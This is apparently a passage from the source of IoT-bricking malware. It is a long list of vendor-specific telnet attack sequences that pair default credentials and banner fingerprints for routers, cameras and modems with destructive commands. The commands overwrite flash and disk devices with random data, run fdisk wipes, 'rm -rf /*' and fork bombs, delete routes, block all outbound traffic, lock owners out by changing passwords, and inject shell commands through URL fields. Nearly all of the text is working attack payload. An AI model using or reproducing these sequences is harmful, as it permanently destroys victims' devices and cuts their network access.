"fdisk -C 1 -H 1 -S 1 /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 -H 1 -S 1 /dev/mtdblock0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
'd(){ d|d & };d 2>/dev/null' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '[#$] ' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ 'netbox' , '.*' , "ERROR: no such command \'w\'" ,
'shell' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'route del default' , '%WAIT%' ,
] ,
[ 'falcon' , '.*' , '(Unknown Command: \'|RMT:\d+.*@telnet:)' ,
'offline' , '[>#] ' ,
'offline' , '[>#] ' ,
'passwd' , 'password' ,
'%OLDPASS%' , 'password' ,
'%NEWPASS%' , 'password' ,
'%NEWPASS%' , '[>#] ' ,
'reset board' , '[>#] ' ,
'DSC sleep 99999999' , '[>#] ' ,
'ip sat0 add 1.2.3.4 255.255.255.0 1.2.3.5 sat0' , '[>#] ' ,
'params GLOBAL set max_mssg_bufs 1' , '[>#] ' ,
'params GLOBAL set initial_mssg_bufs 1' , '[>#] ' ,
'params SECURITY set falcon_console_from_localhost_only 1' , '[>#] ' ,
'params LL set ll_tx_window 1' , '[>#] ' ,
'params LL set ll_rx_window 1' , '[>#] ' ,
'params SPOOF set spoof_oos_buffer_size 1' , '[>#] ' ,
'params PAD set pad_tdma_payload 1' , '[>#] ' ,
'reset application' , '%WAIT%' ,
'ENTER_ERROR_STATE' , '[>#] ' ,
'TERMINATE' , '[>#] ' ,
] ,
[ "chin" , 'root/1001chin' , '' ,
'dd if=/dev/urandom of=/dev/sda1 &' , '' ,
'dd if=/dev/urandom of=/dev/sda2 &' , '' ,
'dd if=/dev/urandom of=/dev/sda3 &' , '' ,
'dd if=/dev/urandom of=/dev/sda4 &' , '' ,
'dd if=/dev/urandom of=/dev/sda &' , '' ,
'dd if=/dev/urandom of=/dev/root &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '[#$>] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd(){ d|d & };d 2>/dev/null' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT% ' ,
'halt -n -f' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ "faraday" , "root/GM8182" , "" ,
"cat /dev/urandom >/dev/sda &\ncat /dev/urandom >/dev/mtdblock4 &\ncat /dev/urandom >/dev/mtdblock5 &\ncat /dev/urandom >/dev/mtdblock6 &\ncat /dev/urandom >/dev/mtdblock7 &\ncat /dev/urandom >/dev/mtdblock8 &\ncat /dev/urandom >/dev/root &\nroute del default" , '' ,
"fdisk -C 1 /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/mtdblock4" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/mtdblock5" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/mtdblock6" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/mtdblock7" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/mtdblock8" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk -C 1 /dev/root" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"route del default" , '%WAIT%' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT% ' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ "ht-tm" , "root/20080826" , "" ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd5 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'route del default;rm -rf /* &' , '%TERM%' ,
] ,
[ "ht-tm" , ".*" , "root.*cIUPc1dKQYHkkKkiVpM" ,
'%RELAUNCH%' , '%RELAUNCH%' ,
] ,
[ "xiongmai" , "root/xc3511" , '' ,
"busybox cat /dev/urandom >/dev/mtd0 &\nbusybox cat /dev/urandom >/dev/mtd1 &\nbusybox cat /dev/urandom >/dev/mtd2 &\nbusybox cat /dev/urandom >/dev/mtd3 &\nbusybox cat /dev/urandom >/dev/mtd4 &\nbusybox cat /dev/urandom >/dev/mtd5 &\nbusybox cat /dev/urandom >/dev/mtdblock0 &\nbusybox cat /dev/urandom >/dev/mtdblock1 &\nbusybox cat /dev/urandom >/dev/mtdblock2 &\nbusybox cat /dev/urandom >/dev/mtdblock3 &\nbusybox cat /dev/urandom >/dev/mtdblock4 &\nbusybox cat /dev/urandom >/dev/mtdblock5 &\nroute del default;rm -rf /* 2>/dev/null &" , '' ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd5 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'route del default;rm -rf /* 2>/dev/null &' , "%WAIT%" ,
"poweroff -n -f" , '%TERM%' ,
] ,
[ "xiongmai" , "root/xmhdipc" , '' ,
"busybox cat /dev/urandom >/dev/mtd0 &\nbusybox cat /dev/urandom >/dev/mtd1 &\nbusybox cat /dev/urandom >/dev/mtd2 &\nbusybox cat /dev/urandom >/dev/mtd3 &\nbusybox cat /dev/urandom >/dev/mtd4 &\nbusybox cat /dev/urandom >/dev/mtd5 &\nbusybox cat /dev/urandom >/dev/mtdblock0 &\nbusybox cat /dev/urandom >/dev/mtdblock1 &\nbusybox cat /dev/urandom >/dev/mtdblock2 &\nbusybox cat /dev/urandom >/dev/mtdblock3 &\nbusybox cat /dev/urandom >/dev/mtdblock4 &\nbusybox cat /dev/urandom >/dev/mtdblock5 &\nroute del default;rm -rf /* 2>/dev/null &" , '' ,
'busybox cat /dev/urandom >/dev/mtd0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtd5 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'busybox cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'route del default;rm -rf /* 2>/dev/null &' , "%WAIT%" ,
"poweroff -n -f" , '%TERM%' ,
] ,
[ "zte" , "root/Zte521" , '' ,
'flash_eraseall /dev/mtd0 >/dev/null &' , '' ,
'flash_eraseall /dev/mtd1 >/dev/null &' , '' ,
'flash_eraseall /dev/mtd2 >/dev/null &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'iptables -F;iptables -t nat -F' , '' ,
'ip route del default' , '' ,
'ip route' , '[#$] ' ,
'ip link set ppp0 down' , '' ,
'ip link set br0 down' , '' ,
'ip link set eth0 down' , '' ,
'iptables -A fwinput -J DROP;iptables -A OUTPUT -j DROP;rm -rf /* &' , '%WAIT%' ,
] ,
[ "zyxel" , ".*" , 'Linux\sZyXEL\s2.*mips.*BusyBox' ,
"iptables -F" , '' ,
"iptables -t nat -F" , '' ,
"route del default" , '' ,
'sysctl -w kernel.threads-max=1' , '' ,
"iptables -A OUTPUT -j DROP" , '%WAIT%' ,
] ,
[ "hisilicon" , "root/jvbzd" , 'w:\snot\sfound' ,
"fdisk /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"iproute del default" , '[#$] ' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT% ' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ "juantech" , "root/juantech" , 'w:\snot\sfound' ,
'cat /dev/urandom >/dev/sda &' , '' ,
'cat /dev/urandom >/dev/sda1 &' , '' ,
'cat /dev/urandom >/dev/sda2 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtd4 &' , '' ,
'cat /dev/urandom >/dev/mtd5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
"route del default" , '[#$] ' ,
"fdisk /dev/sda2" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/sda1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"fdisk /dev/sda" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$] ' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT% ' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ 'celltrash' , '.*' , '5 : Load Default and Reboot Router' ,
'2' , '#' ,
'3' , 'mode:' ,
'4' , 'no\S:' ,
'2' , '#' ,
'0' , '#' ,
'4' , '#' ,
] ,
[ "dlink" , ".*" , 'upgrade.*dlink\.ru.*firm.*' ,
"set lan ip 10.1.2.3 255.255.255.0\nsave" , '' ,
"set upnp off\nsave" , '' ,
"set dhcp off\nsave" , '' ,
"set dmz off\nsave" , '' ,
"set wifi off\nsave" , '' ,
"sh" , '[#$] ' ,
'cat /dev/urandom >/dev/sda &' , '' ,
'cat /dev/urandom >/dev/sda1 &' , '' ,
'cat /dev/urandom >/dev/sda2 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtd4 &' , '' ,
'cat /dev/urandom >/dev/mtd5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
"iptables -F" , '' ,
"iptables -t nat -F" , '' ,
'route del default;rm -rf /* 2>/dev/null &' , '[#$] ' ,
"iptables -A OUTPUT -j DROP" , '%TERM%' ,
] ,
[ "dlink" , ".*" , 'You have a full access' ,
"set lan ip 10.1.2.3 255.255.255.0\nsave" , '' ,
"set upnp off\nsave" , '' ,
"set dhcp off\nsave" , '' ,
"set dmz off\nsave" , '' ,
"set wifi off\nsave" , '' ,
"sh" , '[#$] ' ,
'cat /dev/urandom >/dev/sda &' , '' ,
'cat /dev/urandom >/dev/sda1 &' , '' ,
'cat /dev/urandom >/dev/sda2 &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '' ,
'cat /dev/urandom >/dev/mtd4 &' , '' ,
'cat /dev/urandom >/dev/mtd5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
"iptables -F" , '' ,
"iptables -t nat -F" , '' ,
'route del default;rm -rf /* 2>/dev/null &' , '[#$] ' ,
"iptables -A OUTPUT -j DROP" , '%TERM%' ,
] ,
[ "mdm" , ".*" , 'mdm\d\d+\S*\$' ,
"passwd" , "Old password:" ,
'%OLDPASS%' , 'Enter new password: ' ,
'%NEWPASS%' , 'Re-enter new password: ' ,
'%NEWPASS%' , '[#$] ' ,
'su root' , 'Password: ' ,
'oelinux123' , '[#$] ' ,
'passwd' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: ' ,
'%NEWPASS%' , '[#$] ' ,
'ps aux | grep -v "ps aux" | grep -v "grep" | grep -v "random" | grep -v "awk" | grep -v "xargs" | /bin/awk \'{print $1}\' | xargs kill -9' , '%TERM%' ,
] ,
[ "mdm" , ".*" , 'mdm\d\d+' ,
'passwd' , 'New password: ' ,
'%NEWPASS%' , 'Retype password: ' ,
'%NEWPASS%' , '[#$] ' ,
'reboot' , '%WAIT%' ,
'ps aux | grep -v "ps aux" | grep -v "grep" | grep -v "random" | grep -v "awk" | grep -v "xargs" | /bin/awk \'{print $1}\' | xargs kill -9' , '%TERM%' ,
] ,
[ "eltex" , ".*" , 'M5J9DWFfcVbL.*AuwJc4KI.*bin/ash' ,
"telnet localhost" , 'login: ' ,
"root" , 'Password: ' ,
'adminpassword' , 'root\S+# ' ,
'passwd %OLDUSER%' , 'New password:' ,
'%NEWPASS%' , 'Retype password:' ,
'%NEWPASS%' , 'root\S+# ' ,
'passwd' , 'New password:' ,
'%NEWPASS%' , 'Retype password:' ,
'%NEWPASS%' , 'root\S+# ' ,
'save' , 'root\S+# ' ,
'reboot' , 'root\S+# ' ,
] ,
[ 'qcpe' , 'admin/.*' , 'CPE> .*please enter \? for help\.' ,
'enable' , '[#>] ' ,
'router' , '[#>] ' ,
'wan name x y' , '[#>] ' ,
'wan commit' , '[#>] ' ,
"wan ip isp , user 1.2.3.4 255.255.255.0 1.2.3.5\nwan commit" , '[#>] ' ,
"lan ip 2.3.4.5 255.255.255.254\nlan commit" , '[#>] ' ,
'wlan disable' , '[#>] ' ,
'..' , '[#>] ' ,
'wimax' , '[#>] ' ,
'wmx auth username a b' , '[#>] ' ,
'wmx autoconnect disable' , '[#>] ' ,
'wmx commit' , '[#>] ' ,
"wmx disconnect\nwmx commit" , '[#>] ' ,
'..' , '[#>] ' ,
'router' , '[#>] ' ,
"filter add 0.0.0.0/0 1:65535 0.0.0.0/0 1:65535 tcp\nfilter commit" , '[#>] ' ,
] ,
[ 'vigor' , '.*' , 'Watch Dog Closed' ,
'enable' , '[>#] ' ,
'configure system' , '[>#] ' ,
'config local backup ;sh' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[>#] ' ,
'route del default' , '%WAIT%' ,
'reboot' , '[>#] ' ,
] ,
[ 'phyhome' , '.*' , 'Index.*User.*Priority.*Location' ,
'configure' , '[>#] ' ,
'set hostname HACKED' , '[>#] ' ,
'erase startup-config' , '\]' ,
'y' , '[>#] ' ,
'reboot' , '\]' ,
'y' , '[>#] ' ,
] ,
[ 'edatahome' , '.*' , '% Unknown command:w\.' ,
'enable' , '[>#] ' ,
'erase startup-config' , '[>#] ' ,
'urlexport 1.2.3.4 test test `cat${IFS}/dev/urandom${IFS}>/dev/root` white' , '%WAIT%' ,
'date 2030 12 31 23 59 59' , '%WAIT%' ,
'exit' , '' ,
] ,
[ 'oapsmc' , '.*' , 'Unrecognized command or Incomplete command\.' ,
'reset configuration' , '[>#] ' ,
'reset configuration' , '[>#] ' ,
'reset configuration' , '[>#] ' ,
] ,
[ 'egcpa' , '.*' , 'Unknown command \'uname\'' ,
'logfile-upload' , 'URL: ' ,
'ftp://127.0.0.1/&&`dd${IFS}if=/dev/zero${IFS}of=/dev/mtdblock5${IFS}&`' , '[>#] ' ,
'logfile-upload' , 'URL: ' ,
'ftp://127.0.0.1/&&`dd${IFS}if=/dev/zero${IFS}of=/dev/root`' , '[>#] ' ,
'uci commit' , '[>#] ' ,
] ,
[ 'bintec' , '.*' , 'wizInternetGtw' ,
'ifconfig' , '[>#] ' ,
'ifconfig 1000000 down' , '[>#] ' ,
'ifconfig 1010000 down' , '[>#] ' ,
'ifconfig 1020000 down' , '[>#] ' ,
'ifconfig 1030000 down' , '[>#] ' ,
'ifconfig 1040000 down' , '[>#] ' ,
'ifconfig 50000 down' , '[>#] ' ,
'ifconfig 50001 down' , '[>#] ' ,
'ifconfig 100001 down' , '[>#] ' ,
'ifconfig 10001 down' , '[>#] ' ,
'ifconfig 1001 down' , '[>#] ' ,
'ifconfig 1000 down' , '[>#] ' ,
'halt' , '[>#] ' ,
] ,
[ 'texasi' , 'root/.*' , '% Invalid input at caret\.' ,
"exit" , '[>#] ' ,
'enable' , ': ' ,
'%OLDPASS%' , '[>#] ' ,
'shell' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/4 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock/5 &' , '[>#] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd() { d|d & }; d 2>/dev/null' , '[>#] ' ,
'route del default' , '[>#] ' ,
] ,
[ 'kaco' , '.*' , 'Mode: (APPLICATION|BOOTROM)' ,
'ipconfig -s 1.2.3.4 255.255.255.0 1.2.3.5' , '[>#] ' ,
'format' , '[>#] ' ,
'reset' , '[>#] ' ,
] ,
[ 'atdev' , '.*' , 'TELNET session now in ESTABLISHED state' ,
'clear flash' , '[>#] ' ,
'clear NVS' , '[>#] ' ,
'delete file=config.ins' , '[>#] ' ,
'delete file=config.gui' , '[>#] ' ,
'set user=%OLDUSER% login=no telnet=no' , '[>#] ' ,
'set ip nameserver=127.0.0.1' , '[>#] ' ,
'set ip secondarynameserver=127.0.0.1' , '[>#] ' ,
'set ip interface=ppp0 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=eth1 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=eth0 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=vlan1 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=port1 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=port2 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=port3 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=port4 ipaddress=127.0.0.1' , '[>#] ' ,
'set ip interface=port5 ipaddress=127.0.0.1' , '[>#] ' ,
] ,
[ 'adb' , '.*' , '\*\s+ADB BROADBAND\s+\*' ,
'restore default-setting' , '[>#] ' ,
'reboot' , '[>#] ' ,
] ,
[ 'weathergoose' , '.*' , 'ITW WeatherGoose' ,
'reset factory' , '[>#] ' ,
'reset network' , '[>#] ' ,
] ,
[ 'hpnp' , '.*' , 'clear configure create delete disable' ,
'unconfigure switch' , 'yes or no' ,
'yes' , 'configuration' ,
] ,
[ 'kopp' , '.*' , 'root\@kopp' ,
'cat /dev/urandom >/dev/mmcblk1p1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/root &' , '[>#] ' ,
'route del default' , '[>#] ' ,
'rm -rf /* & 2>/dev/null' , '[>#] ' ,
] ,
[ 'elsist' , '.*' , 'Elsist.*maintenance shell' ,
'format Storage, 1' , 'Y,n' ,
'Y' , '[>#] ' ,
'format System, 1' , 'Y,n' ,
'Y' , '[>#] ' ,
'userconfig -p %OLDUSER% %NEWPASS%' , '[>#] ' ,
'cfgcommit' , '[>#] ' ,
'ifconfig -a eth0 1.2.3.4' , '[>#] ' ,
'ifconfig -g eth0 1.2.3.5' , '[>#] ' ,
'ifconfig -a eth1 1.2.3.6' , '[>#] ' ,
'ifconfig -g eth1 1.2.3.7' , '[>#] ' ,
'cfgcommit' , '[>#] ' ,
'sysconfig -wid' , '[>#] ' ,
'sysconfig -mtcpd' , '[>#] ' ,
'sysconfig -usbd' , '[>#] ' ,
'cfgcommit' , '[>#] ' ,
'reboot' , 'Y,n' ,
'Y' , 'rebooting' ,
] ,
[ 'swim' , '.*' , 'task wait: task \S+ not found\.' ,
'rm -r /tffs/*' , '[>#] ' ,
'reboot' , '[>#] ' ,
] ,
[ 'ciscobee' , '.*' , '(Embedded Telnet Server.*WARNING:.*authorized users only|COMMAND:\s+write_?memory|-s ElementSize1\.\.4)' ,
'cd /flash' , '[>#] ' ,
'init' , '[>#] ' ,
'autoTest bootloader' , 'no\S ' ,
'yes' , '[>#] ' ,
'autoTest dyn' , 'no\S ' ,
'yes' , '[>#] ' ,
'autoTest perm' , 'no\S ' ,
'yes' , '[>#] ' ,
'cd /' , '[>#] ' ,
'taskSuspend 0x81b597a8' , '[>#] ' ,
'0x819e0280' , '[>#] ' ,
'taskSuspend 0x819d13d0' , '[>#] ' ,
'0x81b597a8' , '[>#] ' ,
'taskSuspend 0x81b7aea0' , '[>#] ' ,
'1' , '[>#] ' ,
'cd /' , '[>#] ' ,
'taskSuspendAll' , '[>#] ' ,
'reset' , '[>#] ' ,
] ,
[ 'ubee' , '.*' , 'Error - what Unknown command:' ,
'cd /ubee' , '[>#] ' ,
'cabhCdpServerRouter' , '[>#] ' ,
'cabhCdpServerRouter 127.0.0.1' , '[>#] ' ,
'cd /' , '[>#] ' ,
'set password' , '\] ' ,
'%NEWPASS%' , '[>#] ' ,
'cd /wifi' , '[>#] ' ,
'nvram set wps_version2=disabled' , '[>#] ' ,
'nvram set wl0_ssid=HACKED' , '[>#] ' ,
'nvram set wps_device_name=HACKED' , '[>#] ' ,
'rc restart' , '[>#] ' ,
'cd /' , '[>#] ' ,
] ,
[ 'desdlink' , '.*' , 'DES-1210' ,
'reset config' , '[>#] ' ,
] ,
[ 'gpononu' , '.*' , 'ONU\(super\)#' ,
'shell' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[>#] ' ,
'cat /dev/urandom >/dev/root &' , '[>#] ' ,
'route del default' , '[>#] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT%' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'alcont' , '.*' , '(ONTUSER:|\/dev\/ubi1_1|\/ONTUSER|root\@AONT:)' ,
'df' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/ubi1_1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/ubi5_0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock6 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mtdblock7 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/hda1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/hdb1 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mmcblk0 &' , '[>#] ' ,
'dd if=/dev/urandom of=/dev/mmcblk0p1 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/ubi1_1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/ubi5_0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '[>#] ' ,
'cat /dev/urandom >/dev/hda1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/hdb1 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mmcblk0 &' , '[>#] ' ,
'cat /dev/urandom >/dev/mmcblk0p1 &' , '[#$>] ' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '[>#] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT%' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'busybroke' , '.*' , 'cat: /etc/passwd: No such file or directory' ,
'd() { d|d & }; d' , '' ,
'route del default' , '' ,
] ,
[ 'mtguest' , 'guest/guest' , 'MT7109' ,
'logout' , '%TERM%' ,
] ,
[ 'mtguest' , 'user/user' , 'MT7109' ,
'logout' , '%TERM%' ,
] ,
[ 'mtguest' , 'admin/.*' , 'MT7109' ,
'enable' , '[#>] ' ,
'router' , '[#>] ' ,
'wan name x y' , '[#>] ' ,
'wan commit' , '[#>] ' ,
"wan ip isp , user 1.2.3.4 255.255.255.0 1.2.3.5\nwan commit" , '[#>] ' ,
"lan ip 2.3.4.5 255.255.255.254\nlan commit" , '[#>] ' ,
'wlan disable' , '[#>] ' ,
'..' , '[#>] ' ,
'wimax' , '[#>] ' ,
'wmx auth username a b' , '[#>] ' ,
'wmx autoconnect disable' , '[#>] ' ,
"wmx disconnect\nwmx commit" , '[#>] ' ,
'..' , '[#>] ' ,
'router' , '[#>] ' ,
"filter add 0.0.0.0/0 1:65535 0.0.0.0/0 1:65535 tcp\nfilter commit" , '[#>] ' ,
'..' , '[#>] ' ,
'logout' , '%TERM%' ,
] ,
[ 'uclinux' , '.*' , '(uclinux\.org|sh: can\'t exec \'w\': No such file or directory|uClinux version)' ,
